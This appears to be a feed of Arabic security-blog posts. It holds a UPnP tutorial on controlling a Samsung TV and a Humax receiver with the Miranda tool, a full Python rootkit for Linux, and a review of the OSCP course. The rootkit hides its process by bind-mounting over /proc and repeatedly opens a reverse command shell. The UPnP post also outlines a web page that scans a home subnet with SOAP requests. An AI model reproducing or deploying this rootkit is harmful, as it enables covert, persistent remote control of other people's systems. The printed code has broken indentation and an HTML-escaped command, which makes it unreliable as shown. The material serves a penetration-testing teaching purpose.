  • المشكله الثانيه به أنه يمكن الأتصال به من خارج الشبكه في بعض الحالات مثل أن تكون هناك ثغره في الروتر تتيح هذا وبالفعل أكتشف العديد من الثغرات بهذا الشكل أو بطريقه أخري سنشرحها في نهايه المقال فعلي سبيل المثال في سنه 2011 قام باحث أمني ببرمجه أداه تستغل ثغره موجوده في بعض الأجهزه تتيح له الأتصال بأجهزه الروترز المفعل بها البروتوكول من خارج الشبكه وفتح منفذ بها وعرضت الأداه في مؤتمر DEFCON 19 وهكذا

والأن كفا كلاما فلنبدأ بالشرح العملي 😀

أختراق الأجهزه عن طريق برتوكول الـUPNP


الأعتراف بعدم المعرفه لا ينقص من شخصك ولكن أدعاء المعرفه يفعل فا بالنسبه لي أنا كنت في البدايه لا أعلم شيئا عن بروتوكول الـUpnp من قبل الا فيما يستخدم ولم أجرب أن أتصل من خلاله من قبل أو أنظر اليه من الناحيه الأمنيه حتي في مره كان هناك تلفاز سامسونج ذكي متصل معي علي شبكتي الخاصه ومن ثم خطر لي أن أختبره فبعد أن فحصته بالـNmap وفحص الخدمات ومحاولات كثيره لأختراقه تبقي برتوكول وحيد لم أجرب معه شئ وهو الـupnp فبدأت أقرأ حتي قررت أن أتصل به وبعد بحث عرفت أن هناك أداه مخصصه لهذا تسمي Miranda وهي أداه مبنيه علي البايثون وموجوده بشكل أفتراضي في توزيعه Kali Linux وقمت بأستخدامها في أختراق التلفاز وأجهزه أخري بعدها كما سنشرح بعد قليل 😀

أداه Miranda بها العديد من الخصائص دعنا نشرح أهمها والباقي ستفهمه بنفسك ونحن نخترق 😀

لأكتشاف الأجهزه التي علي الشبكه المفعل بها بروتوكول الـUPNP يقوم البروتوكول بأستخدام بروتوكول أخر يسمي SSDP كما ذكر سابقا فا عند أستخدامك أداه Miranda ستتعرض لأمرين كل أمر منهم يقدم نوع من البحث :

  • الأول هو msearch وهو يقوم بأرسال رسائل SSDP لكل الأجهزه التي علي الشبكه وينتظر الأستجابه فأن أستجابوا فالخدمه مفعله وميزته أنه سريع وعيبه ان هذا البحث فوضوي للغايه بمعني أنه اذا قام أحد بتحليل الشبكه فسيجد العديد من الحزم مرسله من جهازك أو كان هناك بالفعل نظام IDS أو IPS وكان مدير الشبكه مهيأه من قبل !
  • الثاني هو pcap وهو عكس الأخر حيث أنه يقوم بالتنصت حتي يرسل جهاز أخر حزمه SSDP فيعلم أن الخدمه مفعله به وميزته التخفي فهنا لا شئ يرسل من الجهاز وعيبه بالطبع البطئ فأنت عليك الأنتظار حتي يرسل جهاز حزمه SSDP.

الأن لنبدأ بالأختراق 😀

أختراق تلفاز سامسونج الذكي


في هذا الجزء سأشرح لكم الثغره التي أكتشفتها مؤخرا في تلفازات سامسونج الذكيه

في البدايه بعد تشغيل الأداه قمت بأستخدام أمر msearch وذلك لأنها بالفعل شبكتي 😀 فكانت النتيجه 

والأن نقوم بتطبيق الأمر host list لعرض الأجهزه الملتقطه ومعرفه رقم كل جهاز

من الصوره نجد أن التلفاز رقم 1 والجهاز الأخر المفتوح به العديد من المنافذ هذا سنشرح أختراقه بعد التلفاز 😀

والأن نقوم بتنفيذ الأمر host get 1

الأن حصلنا علي المعلومات اللازمه للأتصال ونستطيع أستعراضها عن طريق الأمر host info 1

كما نري قائمه deviceList فلنري ما بداخلها عن طريق الأمر host info 1 deviceList ولاحظ حاله الحروف والكلمات في الأوامر القادمه

ندخل علي قائمه dialreceiver

نجد معلومات أكثر عن التلفاز والأن نفتح قائمه services

ومن ثم  dial ومن ثم actions

وهنا أكتشفت شئ وقت كتابه هذه المقاله أن التحديث الأخير للتلفاز من يومين قد صلح هذه الثغره ونحن الأن لا نستطيع التحكم في الجهاز مما يأكد أن الثغره قد اقفلت بعد نشري لأكتشافها منذ خمس أيام علي مواقع التواصل الأجتماعي والذي هو يعتبر بمثابه رقم قياسي لهم لتصليح الثغره حتي قبل أن أكتب عنها :3

أن خطر في بالك الأن لم نشرت الخطوات السابقه كلها بعد أن علمت أن الثغره قد أقفلت ؟

في الحقيقه كنت أقصد نشرها لأنها نفس الخطوات لأختراق التلفاز الفرق الوحيد أن بجانب dialreceiver التي كنا وجدناها كنا سنجد فرع أخر يسمي MediaRenderer ومن بعد فتحه كنا سنجد ثلاث خدمات (services) كل واحده تعطيك أكشنز (Actions) مختلفه تستطيع القيام بها مختلفه عن الأخري فعلي سبيل المثال من ضمن الخدمات التي كانت موجوده خدمه  RenderingControl والتي عند أستعراض الأكشنز التي بها مثلما فعلنا مع dial كنت ستري الأتي :

كما نري العديد من الأشياء الجيده التي نستطيع القيام بها مثل معرفه الصوت وتغييره ومعرفه مدي أضائه الشاشه والتحكم بها وهكذا والأن اذا أردنا أرسال أكشن من هذه الأكشنز ماذا سنفعل ؟

ستستخدم نفس الأمر لكن مع أستبدال info بـ send  ومسح أنواع القوائم فعلي سبيل المثال في حالتنا هذه كان الأمر :

host info 1 deviceList MediaRenderer services RenderingControl actions

فيصبح

host send 1 MediaRenderer RenderingControl

ومن ثم نضيف أسم الأكشن فعلي سبيل المثال أذا أردنا ضبط الصوت سنختار من القائمه التي بالصوره بالأعلي SetVolume

لكن لاحظ أنه عند أرسال أي أكشن سيقوم بسؤالك بعض الأسأله ليس لها علاقه بهدفك لكن أنا بعد تجربه عرفت قيمتها فعلي سبيل المثال قد يسألك علي InstanceID هذا سيكون قيمته صفر كل مره وقد يسألك علي Channel ولكن أذا نظرت الي القيم المتاحه (Allowed Values) لن تجد بها الا كلمه واحده Master قم بكتابتها وفي بعض الأحيان عند أرسال أكشن عباره عن تفعيل أو عدم تفعيل ليس به قيمه لأختيارها مثل كتم صوت التلفاز يكون مفعل أو غير مفعل ستجده يسألك علي قيمه تسمي بالـBoolean لا تقلق أذا كنت جديد في عالم البرمجه فدعني أخبرك أنه في البرمجه الـBoolean هو عباره عن نوع من البيانات لا يمكن أن يحمل الا قيمتين وهو (True-False) أو في لغات أخري (1-0) أو بالعربي 😀 حقيقي أو غير حقيقي فا في حاله أكشن مثل SetMute سيسألك علي القيمه وستجد في القيم المتاحه مكتوب 1 أو 0 فا بالتالي ستستخدم 1 اذا كنت ترغب بتفعيله فتكتم صوت التلفاز أو 0 اذا أردت عدم كتمه وهذا مثال علي عند تغيير صوت التلفاز :

ومن ثم أنظر الي تلفازك ستجده الصوت تغير مع ضغطه الأنتر الأخيره كأنه نوع من أنواع السحر :V

 

التحكم في مستقبل رقمي (Receiver) من نوع Humax


بعد أختراقي للتلفاز بدأت بأختبار كل جهاز لدي علي الشبكه فكان من ضمنها مستقبل رقمي متصل الأنترنت ومتصل بنفس التلفاز الذكي السابق أختراقه 😀

في البدايه قمت بالبحث عن طريق الأمر msearch فكانت النتيجه

بعد تجاهل الجهاز صاحب الأيبي رقم 192.168.1.7 لأنه التلفاز ستجد أن الجهاز صاحب الأيبي رقم 192.168.1.2 به أربع منافذ مفتوحه يعمل عليها برتوكول الـupnp وفي الحقيقه هذا الجهاز هو المستقبل اذا الأن ليس أمامنا الا تجربه كل منفذ علي حدا

اذا الأن نستخدم الأمر host list

كما نري أمامنا 0,2,3 و 4 فلنبدأ برقم 0 بالترتيب بالأمر  host get 0

سنجد أن هناك نوع من الخطأ قد ظهر وهو ليس بباشره خير ولكن لنكمل وننفذ الأمر host info 0 deviceList

ندخل علي قائمه HMXRCUServer ومن ثم services لأختصار الوقت

لا نجد شئ اذا هذا ليس المنفذ المناسب الأن نتصل برقم 2

تم الأتصال بدون أخطاء وهذه بادره خير 😀 لأختصار الوقت والكتابه بفتح deviceList ومنها فتحت MediaServer ومنها قمت بفتح services فوجدت

من الواضح هنا أنهم خدمات لهم علاقه بالملفات الموجوده علي الـMedia Server ولتوفير الوقت عند أرسال أي أكشن موجود بأي خدمه منهما سيعطينا خطأ بجانب القيم الكثيره التي سيسألها وهذا مثال علي ما قمت بتجربته للبحث عن فيلم Batman وهو موجود بالفعل عليه

كما نري خطأ فلنجرب مع رقم 3 ولعدم تضييع الوقت لن نجد فيه شئ اذا سنجد في 4

كما نري لا يوجد خطأ وعندما نري القوائم نجد

حسنا هذه بادره خير لنري الخدمات التي بها

حسنا بدأنا نري خدمات شبيهه باللتي وجدتها بالتلفاز لنجرب RenderingControl ونري ما الأكشنز الموجوده بها

حسنا يبدوا أننا وصلنا :V لنجرب أكشن منهم بالطريقه السابق ذكرها وليكن SetVolume لنعلي الصوت وراقب القيم التي سأقوم بأدخالها

وبالفعل صوت المستقبل أصبح 100 وأزعج من بالبيت :V

وهكذا كل خدمه سيكون بها أكشنز مختلفه لتقوم بها بنفس الطريقه ولكن لا داعي لذكرها حتي لا نطيل المقاله أكثر…

والأن ننتقل الي الجزء الأخير في المقاله ولكن أولا لنخفض الصوت المستقبل مجددا فقد أصبح مزعجا قليلا :”D

الأختراق من خلال بروتوكول الـupnp عن بعد


كما ذكرنا من قبل برتوكول الـupnp هو برتوكول غير أمن وأكتشف به العديد من الثغرات من قبل علي عده أجهزه قد قامت الشركات فيها بعملimplement بطريقه خاطئه أكثر ولكن بجانب كل هذا اذا كان روترك لا يوجد به أي ثغرات تسمح بالأتصال به من خارج الشبكه هل يعني هذا أنك أمن ؟

للأسف لا فكما نعلم أن البرتوكول يعتمد الرسائل من نوع SOAP والتي هي في أساس عباره عن XML كما ذكر من قبل وهذا للأسف قد يمكن المهاجم من أن يستغل داله xmlhttprequest الموجوده بلغه جافا سكربت من أن يرسل SOAP Message عبر جهازك لأي جهاز مع علي الشبكه وهذا لحسن الحظ لا يمكن أن يتم الا اذا عرف المهاجم الأيبي الداخلي الخاص بالجهاز الهدف الموجود معك بالشبكه ولكنه في النهايه ممكن ومن المحتمل أن يجرب كل الأحتمالات الوارده ان كان يعرف أنك علي شبكه منزليه اذا فا بنسبه كبيره أنت علي subnet واحد واذا عرف الـsubnet وانت بالفعل تستخدم subnet واحد اذا فهو عرف جميع الأحتمالات التي سيقوم بتجربتها فعلي سبيل المثال سيقوم بعمل صفحه ويب بها كود جافاسكربت يرسل SOAP Messages لكل الـIPs بدايه من 192.168.1.1 لـ192.168.1.255 ومن ثم يجعلك تقوم بفتح هذه الصفحه!


في النهايه اذا لم تجعلك هذه المعلومات تخاف من المستقبل لا أعرف ما الذي قد يجعلك تخاف !

Upnp هو بروتوكول خطر للغايه والمفاجئ أن قليل من الناس من يعلمون عنه وعن مدي خطره ويعطونه الأهتمام الذي يستحقه والأن بعد أن بت تعلم عنه كل هذا ماذا ستفعل الأن ؟

مقال : برمجة Rootkit بسيط لعمل reverse connection بشكل خفي بلغة python

$
0
0

تُعتبر أساليب التخفي أثناء القيام في عملية إختبار إختراق أو حتى بعد الإنتهاء منها من الأمور التي يجب علينا أن نُدركها بشكل كبير وأن نتعلم العديد من التقنيات الخاصه التي تُساعدنا على أن نقوم بالتحكم بالأهداف الخاصه بنا لأطول مُدة مُمكنه دون أن يتم إكتشافها , ومن أحد هذه التقنيات هي إستخدام Rootkit , حيث نستطيع أن نُعرف الـ Rootkit بأنه أحد البرمجيات الخبيثه التي يتم إستخدمها بعد إختراق النظام لتمكين التحكم به بشكل خفي وبالبطبع دون مُلاحظة هذه النشاطات من قِبل مُدير النظام , حيث أننا في هذا المقال سوف نقوم ببرمجة Rootkit بسيط يقوم بشكل رئيسي بإخفاء العملية “Process” الخاصة به ولا يُظهرها أو يُظهر معلوماتها لأي برنامج مُراقبة يعمل على الهدف الخاص بنا.

بالطبع سوف نقوم ببرمجة هذا الـ Rootkit ليعمل على أنظمة Linux , وسوف نقوم ببرمجته بشكل كامل بلغة Python وبالطبع سوف أقوم بشرحه بشكل كامل , قبل البدأ يجب علينا أن نعلم بأن الـ Rootkit يتم تشغيله على الهدف بعد أن نقوم بأخذ صلاحيات Root على النظام لكي نتمكن من التصرف بحُرية مع العديد من الوظائف والعمليات دون أن يتم الإعتراض عليها من قبل النظام بسبب الصلاحيات المُتدنيه للمُستخدم العادي.

فكرة الـ Rootkit التي سوف نقوم ببرمجته بسيطه , حيث أنه سوف يعمل على الإتصال بنا بشكل خفي كُل عدد مُعين من الثواني “لأغراض الشرح فقط” , وبالطبع سوف يكون هذا الإتصال العكسي “reverse connection” هو عباره عن reverse command shell يُتيح لنا تطبيق الأوامر على نظام Linux دون أن يتم إظهار الـ Process التي يعمل بها هذا السكربت.

دعونا نبدأ الأن بتوضيح التقنية التي سوف نستخدمها لإخفاء الـ Process , طبعاً أنا أفترض بأن لديكم معرفة مُسبقه عن الـ Process وكيف يتم إنشاؤها وكيف يتم التعامل معها من قبل نظام التشغيل , دعونا نقوم الأن كمثال بتشغيل أي برنامج بسيط وتطبيق الأمر ps aux | grep filename لجلب معلومات الـ Process بشكل سريع بإستخدام الأمر ps حيث أننا سوف نقوم بتشغيل هذا الكود البسيط ومحاولة عرض حالة الـ Process الخاصه به بشكل سريع :

#!/usr/bin/python

import time

counter = 0

while counter <= 1000:
        time.sleep(1)
        print "[+]Counter is : {0}".format(counter)
        counter = counter + 1

وفور تشغيل البرنامج سوف نرى بأنه يعمل بشكل بسيط , وبجانبه نتيجة تنفيذ الأمر ps aux | grep run_process.py :

كما نرى بأن الـ Process التي يعمل بها السكربت run_process.py بإستخدام python تحمل الرقم 27067 وقام بتشغيلها المستخدم askar , وهذا بالضبط ما سوف نعمل على إخفاءه في هذا المقال , حيث سوف نقوم ببرمجة reverse shell خاص بنا ومن ثم برمجة التقنية التي سوف تُساعدنا على إخفاء الـ Process داخل الـ reverse shell.

ولكن قبل برمجة الـ reverse shell , سوف أقوم بشرح التقنية التي تعمل على إخفاء الـ Process بشكل سريع وإعادة شرحها داخل السكريت السابق ومن ثم تطبيقها داخل مثال عملي.

كيف أستطيع إخفاء الـ Process وعدم إظهارها ؟

العملية بسيطه جداً , سوف نقوم بإستخدام مفهوم الـ Mount على المُجلد الخاص بالعملية , حيث أنه كما نعلم كُل شيء في نظام Linux يتم من خلال الـ files أو الملفات , حيث أنه بعد أن يقوم النظام بإنشاء عملية “Process” جديده , يقوم بإنشائها داخل المُجلد /proc على نظام Linux , وفي ما يلي صورة توضح محتويات المُجلد /proc :

كما نرى يوجد العديد من المجلدات التي تحمل أرقام مُختلفة , يتم تسمية المُجلد حسب رقم الـ Process التي تعمل

ملاحظة : لا تستطيع التعديل ولا حذف أي من هذه المُجلدات حتى لو كان معك صلاحيات root

حيث أن البرمجيات التي تُساعدك على إظهار العمليات “Processes” تقوم بالإعتماد على هذا المُجلد لإظهار العمليات , الأن لإخفاء أحد هذه العمليات سوف نقوم كما ذكرت مُسبقاً بعمل ما يُسمى bind mount على المُجلد الخاص بالعملية “Process” مع مُجلد فارغ تم عمله بشكل مُسبق لكي يتم إستبدال “ظاهرياً” المُجلد الخاص بالـ Process بمُجلد فارغ , مما يعني أن العملية ليست موجوده , على الرغم من أنها سوف تكون موجوده وتعمل دون أي مشاكل على النظام.

 للمزيد عن الـ Bind mount أنصحكم بمُراجعة هذا النقاش

لعمل الـ Bind mount نحتاج أن نقوم بإنشاء مُجلد فارغ , ومن ثم عمل الـ bind mount عليه بإستخدام الأمر التالي :

mount -o bind emptydir /proc/pid

مع إستبدال emptydir بمسار المُجلد الفارغ , وطبعاً إستبدال pid برقم الـ Process الخاصه بالبرنامج , ولاحقاً سوف نقوم بالتعرف على كيفية جلب الـ process id بإستخدام python.

بعد تنفيذ هذه العملية على أي Process سوف نُلاحظ بأنها إختفت تماماً من البرامج التي تعمل على مُراقبة الـ Processes مثل top , htop , ps ..

الأن لرسم السيناريو الخاص بنا لهذا الـ rootkit سوف تكون الخطوات كالتالي :

  1. معرفة الـ process id التي يعمل بها السكربت.
  2. إنشاء مُجلد فارغ بإسم عشوائي.
  3. تنفيذ الـ bind mount كما سبق وذكرنا.
  4. محاولة الإتصال بنا كُل عدد مُعين من الثواني.

وطبعاً بما أننا تحدثنا في مقال سابق عن كيفية برمجة reverse shell بإستخدام python فلن أتطرق لشرح الكود بشكل مُفصل لهذه الجزئية.

في ما يلي الكود الخاص بالـ rootkit وبأسفله مُباشرة شرح مُفصل له :

#!/usr/bin/python

"""
Author : Mohammad Askar | @mohammadaskar2
Description : Reverse shell rootkit
"""
import os
import socket
import subprocess
import string
import time
import random as r

# Strings to generate the temporary random process name from
ch = string.uppercase + string.digits 
token = "".join(r.choice(ch) for i in range(5)) 
pid = os.getpid() 
# make bind mount on the current process folder in /proc to hide it 
os.system("mkdir /tmp/{1} &amp;&amp; mount -o bind /tmp/{1} /proc/{0}".format(pid, token))
host = "localhost" 
port = 8888 
# print message (for debugging issues)
print "[+]Rootkit is working now , check your connection  .. " 
def MakeConnection(h, p): 
    try: 
		# Reverse connection interval
		time.sleep(5) 
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		sock.connect((h, p))
		while True:
				command =  sock.recv(1024)
				# Exit if the attacker sent exit command
			        if command.strip("\n") == "exit":
				     # Close socket	
                		     sock.close() 
       			        proc = subprocess.Popen(command, stdout=subprocess.PIPE , stderr=subprocess.PIPE , shell=True) # Execute the sent command
        			proc_result = proc.stdout.read() + proc.stderr.read() 
        			sock.send(proc_result) 
    except socket.error:
		pass  
while True:
	MakeConnection(host, port)

تستطيعون زيارة رابط الكود على github في حال كان به أي مشاكل

طبعاً قُمت بتفصيل الكود أكثر من اللازم لغايات تعليميه وسوف أبدأ من السطر رقم 15 , حيث أنه في هذا السطر نقوم بعمل مُتغير يحتوي على جميع الأحرف باللغة الإنجليزية بشكل “Uppercase” مع الأرقام من 0 إلى 9 , في السطر التي يليها سوف نقوم بإنشاء string عشوائي مُكون من 5 أحرف أو أرقام لكي يكون هو الإسم المؤقت للمُجلد الفارغ الخاص بنا , في السطر 17 نقوم بجلب الـ process id الخاصه بنا وتخزينها في مُتغير pid , في السطر 19 نقوم بعمل الـ Bind mount على الـ process id بشكل مباشر مع المُجلد الفارغ الخاص بنا والذي تم إنشاؤه بشكل مسبق , والأسطر التي تليه داخل MakeConnection function تقوم بعمل الإتصال العكسي كُل عدد مُعين من الثواني  يتم تحديده في السطر 25 , ولا داعي لشرح الدالة نفسها لأنه تم شرح كيفية عمل python reverse shell.

بمعنى أخر تستطيع القيام فقط بعملية الـ bind mount داخل أي reverse shell لتحصل على reverse rootkit ولكن في الكود السابق حاولت قدر الإمكان أن أفصل الأمور بشكل علمي وعملي , وطبعاً يُمكنك إختصار العديد من الأمور في المثال السابق.

الان دعونا نقوم بتشغيل السكربت على النظام لدي وجعله يقوم بالإتصال بالـ Localhost على البورت 1337 مثلاً , حيث تستطيع تغير إعدادا الإتصال العكسي من خلال تغير المُتغيرات host , port في السطر 20 و 21 , وفي ما يلي الصورة النهائية للـ rootkit :

حيث نرى النافذة التي على يسارنا قد إستلمت الإتصال من خلال nc , والنافذة التي على يميننا قامت بتشغيل الـ rootkit والنافذة بالأسفل لم تستطيع عرض معلومات الـ process الخاصة بالـ rootkit.py الخاص بنا.

وبهذا نكون قد قُمنا بكتابة الـ rootkit الخاص بنا دون أي مشاكل.

للحصول على مزيد من المعلومات العملية حول كيفية إستخدام python لبرمجة العديد من أدوات إختبار الإختراق , أنصحكم بالتسجيل بالدورة الخاصة بي على منصة Udemy بعنوان “Offensive Python | Mastering ethical hacking using python” من خلال هذا الكوبون بمبلغ 20$ بدلاً من 125$ لزوار مُجتمع iSecur1ty.

في حال كان لديكم أي إستفسارات المرجو التواصل بي وترك تعليقات بالأسفل لكي أقوم بالرد عليكم.

مراجعة : دورة PWK وشهادة OSCP – Offensive Security Certified Professional

$
0
0

بعد إنقطاع عن الكتابة هُنا في المجتمع لمدة طويلة بالنسبة لي , وبسبب العديد من الضغوطات التي أبعدتني قليلاً عن الكتابة وإعادة المشاركة معكم هنا في iSecur1ty , أحببت أن أشارككم تجربتي في الحصول على شهادة الـ OSCP المُقدمة من طرف شركة offensive security , هذه المقاله عبارة عن مُراجعة للدورة بجميع مراحلها وأيضاً سرد لتجربتي الشخصية أثناء الحصول على هذه الشهادة.

لمن لا يعلم فشهادة OSCP هي إختصار لـ Offensive Security Certified Professional وهي واحده من الشهادات التي تعتبر “مدخل” إلى مجال إختبار الإختراق ولكن تحتاج إلى خبرات مُسبقه وبعض المهارات والمتطلبات التي يجب على الطالب التمتع بها قبل التسجيل بالدورة الخاصة بالشهادة وهي دورة PWK وهي إختصار لـ Penetration Testing with Kali Linux.

خلال هذا المقال سوف أقوم بسرد الأمور الرئيسية التي يجب عليك القيام بها قبل وأثناء وبعد التسجيل بالدورة , كما سوف أقوم بسرد تجربتي الشخصية مع جميع ما سبق.

قبل التسجيل بالدورة بالطبع أنصحك بالإطلاع على فهرس المواضيع الخاص بها , بالنسبة لي بفضل الله جميع المواضيع المطروحه كُنت على إطلاع مُسبق بها ولا يوجد أي مشاكل فيها , أخبرك هذه المعلومه لأنها سوف تُفيدك لاحقاً أثناء حلك للمُختبرات الخاصة بالدورة , إلا أنه بكل صراحة أكثر جزئية إستمتعت بها وأضافت لي هي جزئية “Port Redirection and Tunneling” , ﻷن المُختبرات الخاصة بالدورة تحتوي على أكثر من شبكة تُساعدك على القيام بهذه الأمور وتطبيقها بشكل مُمتع جداً.

قبل البدأ بسرد عملية التسجيل , لاحظت بأن الجميع يسأل كيف أستطيع التحضير والقراءة في المواضيع المطروحه قبل التسجيل بالدورة ؟ حسناً , سوف أحاول الإجابة على هذا السؤال قدر الإمكان مع ذكر مصادر مُتعدده سواء كانت من داخل المُجتمع أو مصادر أخرى خارجية لبعض الجزئيات , وهي كما يلي :

  1. دورة مهارات الهاكر الأخلاقي (مجانيه) : الدورة مُفيده جداً وتُعطيك العديد من المفاهيم التي تحتاجها قبل البدأ بالدورة
  2. دورة أساسيات البرمجة بلغة Bash (مجانيه) : مُفيده جداً وسوف تساعدك في الكثير من الجزئيات في الدورة.
  3. فيديو : جمع الإتصالات من خلال TcpDump وتحليلها من خلال Wireshark : سوف يساعدك على فهم بعض المبادئ الخاصة بأساسيات الشبكات , مُفيده في العديد من الجزئيات بالدورة
  4. مقال : شرح أداة netcat وإستخدامها في أمور متقدمة : سوف يساعدك على فهم طريقة عمل أداة ncat وكيفية التعامل معها عموماً
  5. مقال : إستخدام Nmap لفحص المنافذ على طريقة النينجا : هذا المقال سوف يُعطيك فكرة عامه عن التعامل مع nmap وعن مبدأ عملية فحص الشبكات عموماً.
  6. مقال : استطلاع DNS ورسم المسار إلى الهدف وإستهدافه : سوف يساعدك هذا المقال على فهم بعض الأمور التي تتعلق بالـ DNS enumeration.
  7. دورة بسيطة خاصة بالـ Buffer Overflow : سوف تُعطيك فكرة عامه عن ثغرات Buffer overflow وفهم الفكرة العامه عنها.
  8. مقال : مقدمة عن هجمات privilege escalation attack : هذا المقال يُعطيك فكرة عامه عن ثغرات الـ PE , ولكنه لا يعتبر شامل على الإطلاق.
  9. مقال : إستغلال ثغرات Local Privilege Escalation في قواعد البيانات Mysql : هذا المقال به بعض الأفكار الجيده والمعلومات التي تساعدك على القيام بـ PE attacks.
  10. أساسيات الـ Privilege Escalation على نظام Windows.

  11. مرجع كامل للـ Privilege Escalation على نظام Linux.
  12. دورة خاصة بالـ Metasploit (مجانيه).
  13. مقال : شرح عملية SSH Tunneling في إختبار الإختراق.

طبعاً هذه بعض المراجع التي رأيت أنها ممكن أن تكون مُفيده لكم كبداية وتحتوي على بعض المعلومات الرائعة.

مرحلة التسجيل : 

قبل التسجيل بالدورة يجب عليك أن تختار الخُطة المناسبة لك للمختبرات , حيث تستطيع التسجيل لمُدة 30 أو 60 أو 90 يوم وكل لها سعر مُختلف طبعاً , بالنسبة لي قمت بإختيار المُختبرات لمدة 60 يوماً , وبدأت عملية التسجيل من خلال التسجيل بالـ form الخاص بالدورة والتواصل معهم والتحقق من هويتك وعنوان سكنك وإنهاءاً طبعاً بتسديد المبلغ الخاص بالدورة.

أثناء التسجيل يجب عليك أن تختار الوقت الذي سوف تستلم به مواد الدورة “بالغالب هو الأحد من كل أسبوع” , ويجب عليك إختيار الوقت مُبكراً طبعاً لكي تضمن أنك سوف تحصل على المقعد بالوقت المُحدد , لاحقاً وأثناء التسجيل سوف يقومون بإرسال معلومات دخول vpn بسيطة لك لكي تقوم بإختبار الإتصال وسرعته لديك للتحقق من أن الأمور جيده بالنسبة لك.

بعد الإنتهاء والدفع وبالموعد المُحدد لك , سوف تستلم بريد إلكتروني يحتوي على مواد الدورة “الفيديوهات والمواد النصية” , معلومات الدخول للـ forum الخاص بهم , كما سوف تستلم معلومات الدخول للمختبرات الخاصة بهم من خلال الـ VPN , وبعض الروابط اﻷخرى التي تهتم بإدارة حسابك.

محتويات الدورة :

الدورة تحتوي على ما يقارب 8 ساعات فيديو , تشرح كل ما جاء بالفهرس الخاص بالدورة ولكن لا تتحمس 😀 , لأنك سوف تقضي العديد والعديد من الساعات لكي تبحث أكثر بكل جزئية وتحصل على القدر الكافي من المعلومات , بالنسبة لي ورغم معرفتي بمعظم الأمور الموجوده بالفهرس , إلى أنني قضيت العديد من الوقت في التعمق أكثر بالعديد من المواضيع المذكورة ومُراجعة بعض المواضيع الأخيرة , كانت تجربة رائعة جداً بالفعل !! حيث أنك سوف تقوم بمُراجعة للمعلومات والمفاهيم بشكل أكبر , وبالطبع سوف تحصل على معلومات مُفيده وجديده أخرى ربما لم تكن لديك مُسبقاً !

المواد النصية الخاصة بالدورة تحتوي على 375 صفحة تحتوي على شرح نصي لما جاء بالفيديوهات , وهي جيده وتستطيع أخذ ملاحظات منها.

الدورة سوف تأخذك إلى العديد من المواضيع بشكل مُتسلسل إبتداءاً من أساسيات التعامل مع bash مروراً بتحليل الـ Traffic بشكل مُبسط وصولاً إلى تقنيات جمع المعلومات والـ vulnerability analysis ثم المرور بثغرات Buffer overflow وهجمات الـ privilege escalation والتعديل والتعامل مع الثغرات ولاحقاً ثغرات الـ web وسوف تتطرق إلى العديد من الأمور التي تحتاجها كـ Pentester , لن أخوض بالمواضيع الخاصة بالدورة بشكل مُفصل لأنها مُفصله بشكل أكبر داخل الفهرس الخاص بالدورة.

من أكثر الأمور التي أحببتها بالدورة أنها تعلم الطالب بالفعل كيف يتعامل مع الثغرات وكيف يُفكر بعقلية مُختلفة بعيده عن الإستخدام الجاهز للأدوات أو الثغرات أو حتى إستخدام Metasploit بشكل أعمى , وهذا دائماً ما نحاول أن نقوم بتوضيحه أيضاً داخل iSecur1ty من خلال مقالاتنا أو من خلال الدورات التي نقوم بها.

جميع المواضيع الموجوده بالدورة يُمكنك دراستها من خلال الإنترنت بشكل مباشر , والعديد من المواضيع الموجوده بالدورة لها مراجع واسعه جداً ويُمكنك البحث بشكل إضافي عنها والحصول على قدر أكبر من المعلومات من ما هي عليه داخل الدورة , حيث أن أحد الأمور الجوهرية من دورات Offsec هي أنها تدفعك للبحث أكثر وأكثر عن المعلومة , لذلك تحيه لهم بالفعل على ذلك !

مُختبرات الدورة : 

المُختبرات الخاصه بهم كانت تجربة رائعة جداً , حيث أنها تحتوي على 4 شبكات بمجموع ما يقارب 50 Machine يجب عليك أن تقوم بتنفيذ إختبار إختراق كامل عليهم ومحاولة إختراق أكبر عدد مُمكن من الشبكات , طبعاً هذا الأمر يرجع لك لتجربة الشبكات الموجوده بالمُختبر , وأنت الوحيد الذي تستطيع أن تُحدد ماذا تريد بالضبط من المختبر , بالنسبة لي قمت بإختراق 39 Machine من الشبكة الرئيسية البالغ عددها تقريباً 43 Machine , وإكتفيت ببعض الأجهزة الأخرى من الشبكات المُختلفة.

سوف تمُر بالمختبرات بالعديد من الـ Machines المُتفاوته في الصعوبة , أصعب 3 أهداف بالمُختبرات هُم Humble , Pain , sufferance , وبفضل الله إستطعت الوصول لهم جميعاً وأخذ root عليهم , “جميعهم أسم على مُسمى فعلاً :D”.

سوف تمر بالعديد من الـ Machines التي تؤدي تقريباً إلى طريق مسدود , ولكن يجب عليك أن تركز حقاً على الـ enumeration لهذه الأهداف لانك لا بد أن تكون قد نسيت معلومة بسيطة جداً تكون هي مُفتاح الحل وتذكر دائماً “Try Harder” 😀

طبعاً يوجد العديد من الـ Machines التي تتطلب منك التعديل على الثغرات التي تكتشفها ومحاولة كسر بعض الأمور الأخرى , وسوف تُلاحظ أحياناً أن بعض الـ Machines مُرتبطه ببعضها البعض ولإختراق أحدها يجب عليك أن تقوم بالوصول إلى هدف أخر وهكذا.

كنصيحة لأي طالب يُفكر البدأ بالمُختبرات , لا تقوم بإستخدام Metasploit في البداية أو أي أداة تُساعدك على إكتشاف وإستغلال الثغرات على أي هدف من الأهداف , وتذكر دائماً أن الهدف الرئيسي من المُختبرات هو أن تقوم بتجربة أمور جديده وإكتساب خبرات جديدة أيضاً !

حاول قدر الإمكان أن تقوم ببناء منهجية خاصة بك أثناء وجودك بالمُختبر , هذه المنهجية سوف تُساعدك على تطوير طريقة تفكيرك أثناء القيام بأي إختبار إختراق في المُستقبل , وسوف تُساعدك بالطبع أثناء الإمتحان.

هذا كل ما أستطيع ذكره حول المُختبرات , ولن أفسدك عليك إستكشافها بشكل أكبر إن كُنت تنوي أن تقوم بالإشتراك بالدورة !

الإمتحان :

الإمتحان الخاص بالدورة من الأمور التي تُميز شهادة OSCP , حيث أن الإمتحان الخاص بها بالفعل يتطلب منك التركيز ويتطلب منك وضع إستراتيجية حقيقية لمحاولة إنهاء التحديات في الوقت المطلوب , مُدة الإمتحان هي 24 ساعة لحل التحديات ولديك أيضاً 24 ساعة أخرى لكتابة تقرير مُفصل حول كيف إستطعت حل التحديات.

الإمتحان عموماً هو عبارة عن 5 أجهزة يجب عليك أن تقوم بإختراقها ويوجد معك جهاز windows أخرى للقيام بعمل debugging لأحد التحديات عليه وبالطبع التحديات مُختلفة ومستوى صعوبتها يختلف بكل تأكيد.

